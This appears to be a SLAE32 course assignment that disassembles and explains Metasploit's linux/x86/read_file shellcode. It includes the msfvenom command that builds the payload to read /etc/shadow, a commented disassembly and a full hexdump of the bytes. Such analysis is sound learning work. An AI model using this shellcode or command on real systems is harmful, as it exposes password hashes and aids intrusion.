SLAE32
assignment 5-1
PA-2485

I used this payload

linux/x86/read_file

```
  msfvenom -p linux/x86/read_file --payload-options
Options for payload/linux/x86/read_file:



       Name: Linux Read File
     Module: payload/linux/x86/read_file
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 62
       Rank: Normal

Provided by:
    hal

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH                   yes       The file path to read

Description:
  Read up to 4096 bytes from the local file system and write it back
  out to the specified file descriptor
...
```

And I generated by msfvenom

msfvenom -a x86 -p linux/x86/read_file PATH=/etc/shadow > shadow

then I disassemble it by
ndisasm -u shadow

and here the code with comments

```
00000000  EB36              jmp short 0x38  ;jmp/call/pop technique
00000002  B805000000        mov eax,0x5 ;; int open(const char *pathname, int
flags);
00000007  5B                pop ebx ; pop the @ of the string starting at 0x3D
00000008  31C9              xor ecx,ecx ;Zero out ecx
0000000A  CD80              int 0x80 ;open syscall
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call 0x2 ;pushing the @ of the following bytes
(/etc/shadow) on the stack
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7368              jnc 0xac
00000044  61                popa
00000045  646F              fs outsd
00000047  7700              ja 0x49
```

then after I exmined it with hexdump it shows that the string at the end of the shellcode

```
00000000  eb 36 b8 05 00 00 00 5b  31 c9 cd 80 89 c3 b8 03  |.6.....[1.......|
00000010  00 00 00 89 e7 89 f9 ba  00 10 00 00 cd 80 89 c2  |................|
00000020  b8 04 00 00 00 bb 01 00  00 00 cd 80 b8 01 00 00  |................|
00000030  00 bb 00 00 00 00 cd 80  e8 c5 ff ff ff 2f 65 74  |............/et|
00000040  63 2f 73 68 61 64 6f 77  00                       |c/shadow.|
00000049
```

it’s clearly that it uses JMP-CALL-POP
The jmp/call/pop technique will set the address of the following string in EBX:

root@kali:~# echo -e \\x2f\\x65\\x74\\x63\\x2f\\x73\\x68\\x61\\x64\\x6f\\x77\\x00
/etc/shadow

The read_file shellcode opens the file, reads its content, writes it to the STDOUT and exits.